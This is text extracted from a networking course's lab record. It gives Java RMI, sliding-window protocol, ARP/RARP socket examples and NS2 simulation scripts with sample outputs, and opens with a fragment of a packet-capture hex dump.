Destination MAC: 01 00 5E 7F FF FA Source MAC: 18 F4 6A 16 A2 A2 Protocol: 08 00 Dest IP address: 239.255.255.250Source IP address: 172.16.4.230Not a TCP packetData Len : 471Data : 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 32 33 39 2E 32 35 35 2E 32 35 35 2E 32 35 30 3A 31 39 30 30 0D 0A 4E 54 3A 75 72 6E 3A 64 6D 63 2D 73 61 6D 73 75 6E 67 2D 63 6F 6D 3A 64 65 76 69 63 65 3A 53 79 6E 63 53 65 72 76 65 72 3A 31 0D 0A 4E 54 53 3A 73 73 64 70 3A 61 6C 69 76 65 0D 0A 4C 6F 63 61 74 69 6F 6E 3A 68 74 74 70 3A 2F 2F 31 37 32 2E 31 36 2E 34 2E 32 33 30 3A 32 38 36 39 2F 75 70 6E 70 68 6F 73 74 2F 75 64 68 69 73 61 70 69 2E 64 6C 6C 3F 63 6F 6E 74 65 6E

Page 34: CS2307 rec

Remote Procedure Calls (RPC)

RPC is a powerful technique for constructing distributed, client-server based applications. The called procedure need not exist in the same address space as the calling procedure. RPC is analogous to a function call. When a RPC is made, the calling arguments are passed to the remote procedure and the caller waits for a response to be returned from the remote procedure.

RPC is designed to mitigate duplication issues by providing a common interface between applications. RPC is designed to make client/server interaction easier and safer by factoring out common tasks such as security, synchronization, and data flow handling into a common library, thereby saving developer's time and effort.

RPC is implemented using Remote Method Invocation (RMI) in Java. RMI allows a Java object that executes on one machine to invoke a method of a Java object that executes on another machine. Java RMI provides the following elements:

Remote object implementations. Client interfaces, or stubs, to remote objects. A remote object registry for finding objects on the network. A network protocol for communication between remote objects and their client

(this protocol is JRMP, i.e. Java Remote Method Protocol). A facility for automatically creating remote objects on-demand.

The 3 layers that comprise the basic remote-object communication facilities in RMI are:

1. The stub/skeleton layer, which provides the interface that client and server application objects use to interact with each other.

2. The remote reference layer, which is the middleware between the stub/skeleton layer and the underlying transport protocol.

3. The transport protocol layer, which is the binary data protocol that sends remote object requests over the wire.

With RMI, a reference to an object that “lives” in a remote process on remote hosts can be obtained and invoke methods on it as if it were a local object running within the same JVM. Each remote object implements a remote interface that specifies which of its methods can be invoked by clients. RMI handles all the underlying networking needed to make your remote method calls work. If an object is supplied as an argument to that remote method, the sending machine serializes the object and transmits it. The receiving machine deserializes it.

Page 35: CS2307 rec

Program

// Declares remote method interfaces--CalcInf.java

import java.rmi.*;

public interface CalcInf extends Remote {

public long add(int a, int b) throws RemoteException; public int sub(int a, int b) throws RemoteException; public long mul(int a, int b) throws RemoteException; public int div(int a, int b) throws RemoteException; public int rem(int a, int b) throws RemoteException;}

// Implement Remote behavior--CalcImpl.java

import java.rmi.*;import java.rmi.server.*;

public class CalcImpl extends UnicastRemoteObject implements CalcInf

{ public CalcImpl() throws RemoteException { } public long add(int a, int b) throws RemoteException { return a + b; } public int sub(int a, int b) throws RemoteException { int c = a > b ? a - b : b - a; return c; } public long mul(int a, int b) throws RemoteException { return a * b; } public int div(int a, int b) throws RemoteException { return a / b; } public int rem(int a, int b) throws RemoteException { return a % b; } }

Page 36: CS2307 rec

// Server that names the service implemented--CalcServer.java

import java.rmi.*;public class CalcServer { public static void main(String args[]) { try { CalcInf C = new CalcImpl(); Naming.rebind("CalcService", C); } catch (Exception e) { System.out.println(e.getMessage()); } }}

// Client that invokes remote host methods--CalcClient.java

import java.rmi.*; import java.net.*;

public class CalcClient { public static void main(String[] args) throws Exception { try { CalcInf C = (CalcInf)

Naming.lookup("rmi://172.16.1.219/CalcService"); int a, b; if (args.length != 2) { System.out.println("Usage: java CalcClient

<operand1> <operand2>"); System.exit(-1); } a = Integer.parseInt(args[0]); b = Integer.parseInt(args[1]); System.out.println( "\nBasic Remote Calc\n" ); System.out.println("Summation : " + C.add(a, b)); System.out.println("Difference : " + C.sub(a, b)); System.out.println("Product : " + C.mul(a, b)); System.out.println("Quotient : " + C.div(a, b)); System.out.println("Remainder : " + C.rem(a, b)); } catch (Exception E) { System.out.println(E.getMessage()); } } }

Page 37: CS2307 rec

Output

Server

$ javac CalcInf.java

$ javac CalcImpl.java

$ javac CalcServer.java

$ javac CalcClient.java

$ rmic CalcImpl

$ mkdir clnt

$ cp CalcInf.class CalcClient.class CalcImpl_Stub.class ./clnt

$ rmiregistry&

$ java CalcServer

Client

$ cd clnt

$ java CalcClient 6 8

Basic Remote Calc

Summation : 14Difference : 2Product : 48Quotient : 0Remainder : 6

Page 38: CS2307 rec

Program

// remote method interface--FiboInf.java

import java.rmi.*;

public interface FiboInf extends Remote{

int[] fiboseries(int n)throws RemoteException;}

//Remote behaviour implementation--FiboImpl.java

import java.rmi.*;import java.rmi.server.*; public class FiboImpl extends UnicastRemoteObject implements

FiboInf {

public FiboImpl() throws RemoteException { }

public int[] fiboseries(int n)throws RemoteException {

int f1 = 0, f2 = 1, f3, i; int arr[]= new int[25]; arr[0] = f1; arr[1] = f2; for(i=2; i<n; i++) { f3 = f1 + f2; arr[i] = f3; f1 = f2; f2 = f3; } return(arr); } }

//Server that registers the service--FiboServer.java

import java.rmi.*;

public class FiboServer{

public static void main(String arg[]){

try{

FiboInf Fi = new FiboImpl();Naming.rebind("FiboGen", Fi);

Page 39: CS2307 rec

}catch(Exception e){

System.out.println(e.getMessage());}

}}

// Client that invokes remote host methods--FiboClient.java

import java.rmi.*;import java.net.*;

public class FiboClient{

public static void main(String args[]){

try{

FiboInf Fi = (FiboInf) Naming.lookup("rmi://172.16.1.219/FiboGen");

if (args.length != 1) { System.out.println("Usage: java FiboClient

<terms>"); System.exit(-1); }

int n = Integer.parseInt(args[0]);int a[]=Fi.fiboseries(n);System.out.print("\nFibonacci Series for " + n +

" terms : ");for(int i=0; i<n; i++)

System.out.print(a[i] + " ");}catch(Exception e){

System.out.println(e.getMessage());}

}}

Page 40: CS2307 rec

Output

Server

$ javac FiboInf.java

$ javac FiboImpl.java

$ javac FiboServer.java

$ javac FiboClient.java

$ rmic FiboImpl

$ mkdir clnt

$ cp FiboInf.class FiboClient.class FiboImpl_Stub.class ./clnt

$ rmiregistry&

$ java FiboServer

Client

$ cd clnt

$ java FiboClient 8

Fibonacci Series for 8 terms : 0 1 1 2 3 5 8 13

Page 41: CS2307 rec

Program

// remote method interface--FactInf.java

import java.rmi.*;

public interface FactInf extends Remote{

long factorial(int n)throws RemoteException;}

//Remote behaviour implementation--FactImpl.java

import java.rmi.*;import java.rmi.server.*; public class FactImpl extends UnicastRemoteObject implements

FactInf {

public FactImpl() throws RemoteException { }

public long factorial(int n)throws RemoteException {

long f = 1; for(int i=n; i>0; i--) f *= i; return f; } }

//Server that registers the service--FactServer.java

import java.rmi.*;

public class FactServer{

public static void main(String arg[]){

try{

FactInf Fa = new FactImpl();Naming.rebind("FactService", Fa);

}catch(Exception e){

System.out.println(e.getMessage());}

}}

Page 42: CS2307 rec

// Client that invokes remote host methods--FactClient.java

import java.rmi.*;import java.net.*;

public class FactClient{

public static void main(String args[]){

try{

FactInf Fa = (FactInf) Naming.lookup("rmi://172.16.1.219/FactService");

if (args.length != 1) { System.out.println("Usage: java FactClient

<number>"); System.exit(-1); }

int n = Integer.parseInt(args[0]);long factval = Fa.factorial(n);System.out.print("\n" + n + " Factorial value is " +

factval);}catch(Exception e){

System.out.println(e.getMessage());}

}}

Page 43: CS2307 rec

Output

Server

$ javac FactInf.java

$ javac FactImpl.java

$ javac FactServer.java

$ javac FactClient.java

$ rmic FactImpl

$ mkdir clnt

$ cp FactInf.class FactClient.class FactImpl_Stub.class ./clnt

$ rmiregistry&

$ java FactServer

Client

$ cd clnt

$ java FactClient 10

10 Factorial value is 3628800

$ java FactClient 0

0 Factorial value is 1

Page 44: CS2307 rec

PROTOCOL SIMULATION

Sliding window protocols are used where reliable in-order delivery is required. Each frame is assigned a unique sequence number, and the receiver uses the numbers to place received packets in the correct order. Sequence numbers range from 0 up to some maximum, circularly. In Go-Back-N Automatic Repeat Request, several frames are sent before receiving acknowledgments and a copy of these frames is kept until the acknowledgments arrive. The maximum size of the sender's window is 2m - 1. The size of the receive window is always 1. The receiver is always looking for the arrival of a specific frame. Any frame arriving out of order is discarded and needs to be resent. When the correct frame arrives, the receive window slides.

The GO-Back-N ARQ is highly inefficient for noisy channels, since frames are more likely to be lost or corrupt and be resent. In Selective Repeat ARQ, only the damaged frame is resent. The send window size and the receive window size is 2m-1. Therefore, the frames can arrive out of order and be stored until they can be delivered.

The delivery of a packet to a host or a router requires two levels of addressing, logical and physical. Therefore, it is required to map a logical address to its corresponding physical address and vice versa.

A host has an IP datagram to be sent to another host has the logical address of the receiver obtained using DNS. Address Resolution Protocol (ARP) is used to know the physical address of a machine when its logical address is known. It broadcasts a request, to which the intended recipient replies with its physical address.

In certain cases, a host aware of its physical address needs to know the logical address. For instance, a diskless station booted from its ROM. The station can find its physical address by checking its interface provided by the manufacturer. The system can use the physical address to get the logical address by using the Reverse Address Resolution Protocol (RARP).

Page 45: CS2307 rec

Program

// Go Back N Sender--GBNSend.javaimport java.io.*;import java.net.*;

public class GBNSend{

String output[] = new String[7];void sendMsg(BufferedReader buff, BufferedReader in,

PrintWriter out, int x) throws Exception{

try{ for(int i=x; i<7; i++)

{System.out.print("Content for frame" + i + " : ");output[i] = in.readLine();out.println(output[i]);out.flush();

} }catch(Exception e){

System.out.println("exception is" + e);}

}

public static void main(String[] args) throws Exception{

GBNSend g = new GBNSend();ServerSocket ssoc = new ServerSocket(6000);Socket soc = ssoc.accept();String input[] = new String[7];BufferedReader buff = new BufferedReader(new

InputStreamReader(soc.getInputStream()));PrintWriter out = new PrintWriter(new

OutputStreamWriter(soc.getOutputStream()));BufferedReader in = new BufferedReader(new

InputStreamReader(System.in));

System.out.println("Window size 7");System.out.println("Enter message in format--

SeqNoData");int x = 0;g.sendMsg(buff,in,out,0);

Page 46: CS2307 rec

for(int j=0; j<7; j++){

String s = new String();input[j] = buff.readLine();s = j + "";if(input[j].startsWith(s))

System.out.println("Ack for frame" + j);else{

System.out.println("Frame" + j + " lost/corrupt. Go Back & resend");

x = j;g.sendMsg(buff,in,out,j);--j;

}}soc.close();ssoc.close();

}}

//Go Back N Receiver--GBNReceive.javaimport java.io.*;import java.net.*;

public class GBNReceive {

String input[] = new String[7];void ReceiveMsg(BufferedReader buff, PrintWriter out,

int x) throws Exception{

try{

for(int i=x; i<7; i++)input[i] = buff.readLine();

}catch(Exception e){

System.out.println("exception is" + e);}

}

public static void main(String[] args) throws Exception{

GBNReceive g = new GBNReceive(); Socket soc = new Socket("localhost", 6000);

BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream()));

PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream()));

Page 47: CS2307 rec

int x = 0;g.ReceiveMsg(buff,out,0);for(int j=x; j<7; j++){

String s = new String();s = j + "";if(g.input[j].startsWith(s)){

String rmsg = g.input[j];rmsg = rmsg.substring(1,rmsg.length());System.out.println("Frame" + j + "data is " +

rmsg);out.println(j + "ack");out.flush();

}else{

out.println("no ack");out.flush();x = j;g.ReceiveMsg(buff,out,j);--j;

}}soc.close();

}}

Page 48: CS2307 rec

Output

Sender

$ javac GBNSend.java$ java GBNSendWindow size 7Enter message in format--SeqNoDataContent for frame0 : 0hiContent for frame1 : 1helloContent for frame2 : 2i am hereContent for frame3 : 3where r u?Content for frame4 : here onlyContent for frame5 : 5can u see meContent for frame6 : 6which directionAck for frame0Ack for frame1Ack for frame2Ack for frame3Frame4 lost/corrupt. Go Back & resendContent for frame4 : 4here onlyContent for frame5 : 5which directionContent for frame6 : okAck for frame4Ack for frame5Frame6 lost/corrupt. Go Back & resendContent for frame6 : 6SouthAck for frame6

Receiver

$ javac GBNReceive.java$ java GBNReceiveFrame0 data is hiFrame1 data is helloFrame2 data is i am hereFrame3 data is where r u?Frame4 data is here onlyFrame5 data is which directionFrame6 data is South

Page 49: CS2307 rec

Program

// Selective Repeat Sender--SRSend.javaimport java.io.*;import java.net.*;

public class SRSend{

String output[] = new String[7];void sendMsg(BufferedReader buff, BufferedReader in,

PrintWriter out, int x, int flag) throws Exception{

try{

if(flag == 1){

for(int i=0; i<7; i++){

System.out.print("Content for frame "+i+" : ");output[i] = in.readLine();out.println(output[i]);out.flush();

}}else{

System.out.print("Content for frame" + x + " : ");output[x] = in.readLine();out.println(output[x]);out.flush();

}}catch(Exception e){

System.out.println("exception is" +e);}

}

public static void main(String[] args) throws Exception{

SRSend g = new SRSend();ServerSocket ssoc = new ServerSocket(6000);Socket soc = ssoc.accept();String input[] = new String[7];BufferedReader buff = new BufferedReader(new

InputStreamReader(soc.getInputStream()));PrintWriter out = new PrintWriter(new

OutputStreamWriter(soc.getOutputStream()));BufferedReader in = new BufferedReader(new

InputStreamReader(System.in));

Page 50: CS2307 rec

System.out.println("Window size 7");System.out.println("Enter message in format-SeqNoData");int x = 0;g.sendMsg(buff,in,out,0,1);for(int j=x; j<7; j++){

String s = new String();input[j] = buff.readLine();s = j + "";if(input[j].startsWith(s))

System.out.println("Ack for frame" + j);else{

System.out.println("Frame" + j + " lost/corrupt. Resend it");

x = j;g.sendMsg(buff,in,out,x,0);j--;

}}soc.close();ssoc.close();

}}

// Selective Repeat Receiverimport java.io.*;import java.net.*;

public class SRReceive {

String input[] = new String[7];void ReceiveMsg(BufferedReader buff, PrintWriter out,

int x, int flag) throws Exception{

try{

if(flag == 1)for(int i=0; i<7; i++)

input[i] = buff.readLine();else

input[x] = buff.readLine(); }catch(Exception e){

System.out.println("exception is" + e);}

}

Page 51: CS2307 rec

public static void main(String[] args) throws Exception{

SRReceive g = new SRReceive(); Socket soc = new Socket("localhost", 6000);

BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream()));

PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream()));

int x=0;g.ReceiveMsg(buff,out,0,1);for(int j=x; j<7; j++){

String s = new String();s = j + "";if(g.input[j].startsWith(s)){

String rmsg = g.input[j];rmsg = rmsg.substring(1, rmsg.length());System.out.println("Frame" + j + "data is " +

rmsg);out.println(j + "ack");out.flush();

}else{

out.println("no ack");out.flush();x = j;g.ReceiveMsg(buff,out,j,0);j--;

}}soc.close();

}}

Page 52: CS2307 rec

Output

Sender

$ javac SRSend.java$ java SRSendWindow size 7Window size 7Enter message in format--SeqNoDataContent for frame0 : 0hiContent for frame1 : 1helloContent for frame2 : 2i am hereContent for frame3 : 3where r u?Content for frame4 : here onlyContent for frame5 : 5can u see meContent for frame6 : 6which directionAck for frame0Ack for frame1Ack for frame2Ack for frame3Frame4 lost/corrupt. Resend itContent for frame4 : 4here onlyAck for frame4Ack for frame5Ack for frame6

Receiver

$ javac SRReceive.java$ java SRReceiveFrame0 data is hiFrame1 data is helloFrame2 data is i am hereFrame3 data is where r u?Frame4 data is here onlyFrame5 data is can u see meFrame6 data is which direction

Page 53: CS2307 rec

Program

//ARP Server -- arpserver.javaimport java.io.*;import java.net.*;

class arpserver{

public static void main(String args[])throws IOException{

try{

ServerSocket soc = new ServerSocket(2500);System.out.println("Server started");Socket client = null;client = soc.accept();String str;

PrintStream ps = new PrintStream(client.getOutputStream());

BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream()));

Runtime r = Runtime.getRuntime();Process p = r.exec("ifconfig eth0");BufferedReader pin=new BufferedReader(new

InputStreamReader(p.getInputStream()));String haddr = "";String ipaddr = br.readLine();int flag = 0;

while((str = pin.readLine())!=null){

System.out.println(str);if((str.indexOf("HWaddr")) != -1){

int tlen = str.length();int hlen = tlen - 19;haddr = str.substring(hlen,tlen);

}else if ((str.indexOf(ipaddr)) != -1){

flag = 1;}

}if (flag == 1)

ps.println(haddr);

ps.close();br.close();

pin.close(); client.close();

Page 54: CS2307 rec

soc.close();}catch(IOException io){

System.err.println("Exception : " + io.toString());}

}}

//ARP Client -- arpclient.javaimport java.io.*;import java.net.*;

class arpclient{

public static void main(String args[]){

try{

Socket client = new Socket("localhost", 2500); BufferedReader br = new BufferedReader(new

InputStreamReader(System.in));PrintStream ps = new

PrintStream(client.getOutputStream());String ipaddr,haddr = null;BufferedReader sin = new BufferedReader(new

InputStreamReader(client.getInputStream()));

System.out.print("Enter the IP address : ");ipaddr = br.readLine();ps.println(ipaddr);haddr = sin.readLine();if (haddr == null)

System.out.println("Host does not exist");else

System.out.println("Physical Address " + haddr);ps.close();br.close();client.close();

}catch(IOException io){

System.err.println(io.toString());}

}}

Page 55: CS2307 rec

Output

Server

$ javac arpserver.java$ java arpserverServer startedeth0 Link encap:Ethernet HWaddr B8:AC:6F:1B:AB:06 inet addr:172.16.6.21 Bcast:172.255.255.255 Mask:255.0.0.0 inet6 addr: fe80::baac:6fff:fe1b:ab06/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:450 errors:0 dropped:0 overruns:0 frame:0 TX packets:127 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:48118 (46.9 KiB) TX bytes:21025 (20.5 KiB) Interrupt:16

Client

$ javac arpclient.java$ java arpclientEnter the IP address : 172.16.6.21Physical Address B8:AC:6F:1B:AB:06

Page 56: CS2307 rec

Program

//RARP Server -- rarpserver.java

import java.io.*;import java.net.*;

class rarpserver{

public static void main(String args[])throws IOException{

try{

ServerSocket soc = new ServerSocket(2500);System.out.println("Server started");Socket client = null;client = soc.accept();String str;

PrintStream ps = new PrintStream(client.getOutputStream());

BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream()));

Runtime r = Runtime.getRuntime();Process p = r.exec("ifconfig eth0");BufferedReader pin = new BufferedReader(new

InputStreamReader(p.getInputStream()));String ipaddr = "";String haddr = br.readLine();int flag = 0;

while((str = pin.readLine())!=null){

System.out.println(str);if ((str.indexOf(haddr)) != -1){

flag = 1;}else if((str.indexOf("inet addr")) != -1){

int pos = str.indexOf("inet addr:") + 10;int offset = pos + 13;ipaddr = str.substring(pos,offset);

}}if (flag == 1)

ps.println(ipaddr);ps.close();

br.close(); pin.close(); client.close(); soc.close();

Page 57: CS2307 rec

}catch(IOException io){

System.err.println("Exception : " + io.toString());}

}}

// RARP Client -- rarpclient.javaimport java.io.*;import java.net.*;

class rarpclient{

public static void main(String args[]){

try{

Socket client = new Socket("localhost", 2500); BufferedReader br = new BufferedReader(new

InputStreamReader(System.in));PrintStream ps = new

PrintStream(client.getOutputStream());String haddr,ipaddr = null;BufferedReader sin = new BufferedReader(new

InputStreamReader(client.getInputStream()));

System.out.print("Enter the physical address : ");haddr = br.readLine();ps.println(haddr);ipaddr = sin.readLine();if (ipaddr == null)

System.out.println("Host does not exist");else

System.out.println("Logical Address " + ipaddr);ps.close();br.close();client.close();

}catch(IOException io){

System.err.println(io.toString());}

}}

Page 58: CS2307 rec

Output

Server

$ javac rarpserver.java$ java rarpserverServer startedeth0 Link encap:Ethernet HWaddr B8:AC:6F:1B:AB:06 inet addr:172.16.6.21 Bcast:172.255.255.255 Mask:255.0.0.0 inet6 addr: fe80::baac:6fff:fe1b:ab06/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:450 errors:0 dropped:0 overruns:0 frame:0 TX packets:127 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:48118 (46.9 KiB) TX bytes:21025 (20.5 KiB) Interrupt:16

Client

$ javac rarpclient.java$ java rarpclientEnter the physical address : B8:AC:6F:1B:AB:06Logical Address 172.16.6.21

Page 59: CS2307 rec

NS2 SIMULATION

A simulator is a device, software or system which behaves or operates like a given system when provided with a set of controlled inputs. The need for simulators is:

Provide users with practical feedback such as accuracy, efficiency, cost, etc., when designing real world systems.

Permit system designers to study at several different levels of abstraction Simulation can give results that are not experimentally measurable with our

current level of technology. Simulations take the building/rebuilding phase out of the loop by using the

model already created in the design phase. Effective means for teaching or demonstrating concepts to students. A few popular network simulators are NS-2, OPNET, GLOMOSIM, etc.

Network Simulator NS2

NS2 is an object-oriented, discrete event driven network simulator developed at UC Berkley written in C++ and OTcl (Object-oriented Tool Command Language). NS is useful for simulating local and wide area networks. NS2 is an open-source simulation tool that primarily runs on Linux (cygwin for Windows). The features of NS2 are:

Is a discrete event simulator for networking research Works at packet level. Provide support to simulate bunch of protocols like TCP, UDP, FTP, etc. Simulate wired and wireless network. Is a standard experiment environment in research community.

Class Hierarchy

Network Animator (NAM)

NS together with NAM forms a very powerful set of tools for teaching networking concepts. With NAM protocols can be visualized as animations. The NAM graphical editor is the latest addition to NAM. With this editor, one can create their network topology and simulate various protocols and traffic sources by dragging the mouse.

Page 60: CS2307 rec

Create Visualize Terrestrial, satellite and wireless

network with various routing algorithm (DV, LS, PIM, DSR).

Traffic sources like web, ftp, telnet, cbr, and stochastic traffic.

Failures, including deterministic, probabilistic loss, link failure, etc.

Various queuing disciplines (drop-tail, RED, FQ, SFQ, etc.) and QoS

Packet flow, queue build-up and packet drops.

Protocol behavior: TCP slow start, self-clocking, congestion control, fast retransmit and recovery.

Node movement in wireless networks. Annotations to highlight important

events. Protocol state (e.g., TCP cwnd).

NS2 Execution

The overall simulation procedure in NS is shown below. NS is composed of OTcl Script and Interpreter. NS simulation results can be observed through graphs by analyzing the trace file or viewing animations with NAM.

$ ns filename.tcl

NS2 Program Elements

Event Schedulera Creating event scheduler

set ns [new Simulator]b Schedule events

$ns at time "event"c Start scheduler

$ns runCreating Network

a Create set of Nodesset n0 [$ns node]set n1 [$ns node]

b Create links and queuing$ns duplex-link $n0 $n1 bandwidth delay queue_type Bandwidth is generally in MB Delay is generally in ms Queue type is either DropTail, RED, CBQ, FQ, SFQ, etc $ns duplex-link $n0 $n2 1Mb 10ms DropTail

Page 61: CS2307 rec

c Layout$ns duplex-link-op $n0 $n2 orient position where position is either right, right-up, right-down, left, left-up, left-down, up, down

d Marking flows$ns color 1 Blue $ns color 2 Red$udp0 set class_ 1$udp1 set class_ 2

Tracinga NAM Trace all links (must succeed scheduler creation)

set nf [open out.nam w]$ns namtrace-all $nf

b Trace all links (must succeed scheduler creation)set tf [open out.tr w]$ns trace-all $tfTrace file ouput format event, time, from_node, to_node, pkt type, pkt size, flags, fid, src_addr, dst_addr, seq_num, pkt_id where events are r received, + enqueued, - dequeued, d dropped

c Tracing specific links$ns trace-queue $n0 $n1$ns namtrace-queue $n0 $n1

Connectiona UDP

set udp [new Agent/UDP]set null [new Agent/Null]$ns attach-agent $n0 $udp0$ns attach-agent $n1 $null$ns connect $udp0 $null

b TCPset tcp0 [new Agent/TCP/FullTcp]$tcp0 set window_ 30$tcp0 set segsize_ 536$ns attach-agent $n0 $tcp0set sink0 [new Agent/TCP/FullTcp]$ns attach-agent $n5 $sink0$sink0 listen$ns connect $tcp0 $sink0

Traffic Generationa UDP

set src [new Application/Traffic/type]$src attach-agent $udp0 where type is either CBR, Exponential, Pareto

b TCPset ftp [new Application/FTP]$ftp attach-agent $tcpset telnet [new Application/Telnet]$telnet attach-agent $tcp

Page 62: CS2307 rec

finish procedurea Flush NS tracing, Close tracing files and execute any post-analysis programs

(display results, run NAM, etc)proc finish {} {global ns nf$ns flush-traceclose $nfexec nam out.nam &exit 0}

Page 63: CS2307 rec

Program

#Study of UDP performance - UDP.tcl

#Create a simulator objectset ns [new Simulator]

#Define different colors for data flows$ns color 1 Blue$ns color 2 Red

#Open the nam trace fileset nf [open out.nam w]$ns namtrace-all $nf

#Create four nodesset n0 [$ns node]set n1 [$ns node]set n2 [$ns node]set n3 [$ns node]

#Create links between the nodes$ns duplex-link $n0 $n2 1Mb 10ms DropTail$ns duplex-link $n1 $n2 1Mb 10ms DropTail$ns duplex-link $n3 $n2 1Mb 10ms SFQ

#Specify layout of nodes$ns duplex-link-op $n0 $n2 orient right-down$ns duplex-link-op $n1 $n2 orient right-up$ns duplex-link-op $n2 $n3 orient right

#Monitor the queue for the link 2─3 vertically$ns duplex-link-op $n2 $n3 queuePos 0.5

#Create a UDP agent and attach it to node n0set udp0 [new Agent/UDP]$udp0 set class_ 1$ns attach-agent $n0 $udp0

# Create a CBR traffic source and attach it to udp0set cbr0 [new Application/Traffic/CBR]$cbr0 set packetSize_ 500$cbr0 set interval_ 0.005$cbr0 attach-agent $udp0

#Create a UDP agent and attach it to node n1set udp1 [new Agent/UDP]$udp1 set class_ 2$ns attach-agent $n1 $udp1

Page 64: CS2307 rec

# Create a CBR traffic source and attach it to udp1set cbr1 [new Application/Traffic/CBR]$cbr1 set packetSize_ 500$cbr1 set interval_ 0.005$cbr1 attach-agent $udp1

#Create a Null agent (a traffic sink) and attach it to node n3set null0 [new Agent/Null]$ns attach-agent $n3 $null0

#Connect traffic sources with the traffic sink$ns connect $udp0 $null0 $ns connect $udp1 $null0

#Define finish procedureproc finish {} {

global ns nf$ns flush-trace

#Close the trace fileclose $nf

#Execute nam on the trace fileexec nam -a out.nam &exit 0

}

#Define label for nodes$ns at 0.0 "$n0 label Sender1"$ns at 0.0 "$n1 label Sender2"$ns at 0.0 "$n2 label Router"$ns at 0.0 "$n3 label Receiver"

#Schedule events for the CBR agents$ns at 0.5 "$cbr0 start"$ns at 1.0 "$cbr1 start"$ns at 4.0 "$cbr1 stop"$ns at 4.5 "$cbr0 stop"

#Call finish procedure after 5 seconds of simulation time$ns at 5.0 "finish"

#Run the simulation$ns run

Page 65: CS2307 rec

Output

$ ns UDP.tcl

Page 66: CS2307 rec

Program

#Study of TCP performance - TCP.tcl

#Create a simulator objectset ns [new Simulator]

#Open trace filesset f [open droptail-queue-out.tr w]$ns trace-all $f

#Open the nam trace fileset nf [open droptail-queue-out.nam w]$ns namtrace-all $nf

#s1, s2 and s3 act as sources.set s1 [$ns node]set s2 [$ns node]set s3 [$ns node]

#G acts as a gatewayset G [$ns node]#r acts as a receiverset r [$ns node]

#Define different colors for data flows$ns color 1 red $ns color 2 SeaGreen $ns color 3 blue

#Create links between the nodes$ns duplex-link $s1 $G 6Mb 10ms DropTail$ns duplex-link $s2 $G 6Mb 10ms DropTail$ns duplex-link $s3 $G 6Mb 10ms DropTail$ns duplex-link $G $r 3Mb 10ms DropTail

#Define the layout of the nodes$ns duplex-link-op $s1 $G orient right-up$ns duplex-link-op $s2 $G orient right$ns duplex-link-op $s3 $G orient right-down$ns duplex-link-op $G $r orient right

#Define the queue size for the link between node G and r$ns queue-limit $G $r 5

#Monitor the queues for links vertically$ns duplex-link-op $s1 $G queuePos 0.5$ns duplex-link-op $s2 $G queuePos 0.5$ns duplex-link-op $s3 $G queuePos 0.5$ns duplex-link-op $G $r queuePos 0.5

Page 67: CS2307 rec

#Create a TCP agent and attach it to node s1set tcp1 [new Agent/TCP/Reno]$ns attach-agent $s1 $tcp1$tcp1 set window_ 8$tcp1 set fid_ 1

#Create a TCP agent and attach it to node s2set tcp2 [new Agent/TCP/Reno]$ns attach-agent $s2 $tcp2$tcp2 set window_ 8$tcp2 set fid_ 2

#Create a TCP agent and attach it to node s3set tcp3 [new Agent/TCP/Reno]$ns attach-agent $s3 $tcp3$tcp3 set window_ 4$tcp3 set fid_ 3

#Create TCP sink agents and attach them to node rset sink1 [new Agent/TCPSink]set sink2 [new Agent/TCPSink]set sink3 [new Agent/TCPSink]$ns attach-agent $r $sink1$ns attach-agent $r $sink2$ns attach-agent $r $sink3

#Connect the traffic sources with the traffic sinks$ns connect $tcp1 $sink1$ns connect $tcp2 $sink2$ns connect $tcp3 $sink3

#Create FTP applications and attach them to agentsset ftp1 [new Application/FTP]$ftp1 attach-agent $tcp1set ftp2 [new Application/FTP]$ftp2 attach-agent $tcp2set ftp3 [new Application/FTP]$ftp3 attach-agent $tcp3

#Define a 'finish' procedureproc finish {} {

global ns$ns flush-traceputs "running nam..."exec nam -a droptail-queue-out.nam &exit 0

}

Page 68: CS2307 rec

#Define label for nodes$ns at 0.0 "$s1 label Sender1"$ns at 0.0 "$s2 label Sender2"$ns at 0.0 "$s3 label Sender3"$ns at 0.0 "$G label Gateway"$ns at 0.0 "$r label Receiver"

#Schedule ftp events$ns at 0.1 "$ftp1 start"$ns at 0.1 "$ftp2 start"$ns at 0.1 "$ftp3 start"$ns at 5.0 "$ftp1 stop"$ns at 5.0 "$ftp2 stop"$ns at 5.0 "$ftp3 stop"

#Call finish procedure after 5 seconds of simulation time$ns at 5.25 "finish"

#Run the simulation$ns run

Page 69: CS2307 rec

Output

$ ns TCP.tcl

Page 70: CS2307 rec

Program

#Distance vector routing protocol – distvect.tcl

#Create a simulator objectset ns [new Simulator]

#Use distance vector routing$ns rtproto DV

#Open the nam trace fileset nf [open out.nam w]$ns namtrace-all $nf

# Open tracefileset nt [open trace.tr w]$ns trace-all $nt

#Define 'finish' procedureproc finish {} {global ns nf$ns flush-trace#Close the trace fileclose $nf#Execute nam on the trace fileexec nam -a out.nam &exit 0}

# Create 8 nodesset n1 [$ns node]set n2 [$ns node]set n3 [$ns node]set n4 [$ns node]set n5 [$ns node]set n6 [$ns node]set n7 [$ns node]set n8 [$ns node]

# Specify link characterestics$ns duplex-link $n1 $n2 1Mb 10ms DropTail$ns duplex-link $n2 $n3 1Mb 10ms DropTail$ns duplex-link $n3 $n4 1Mb 10ms DropTail$ns duplex-link $n4 $n5 1Mb 10ms DropTail$ns duplex-link $n5 $n6 1Mb 10ms DropTail$ns duplex-link $n6 $n7 1Mb 10ms DropTail$ns duplex-link $n7 $n8 1Mb 10ms DropTail$ns duplex-link $n8 $n1 1Mb 10ms DropTail

Page 71: CS2307 rec

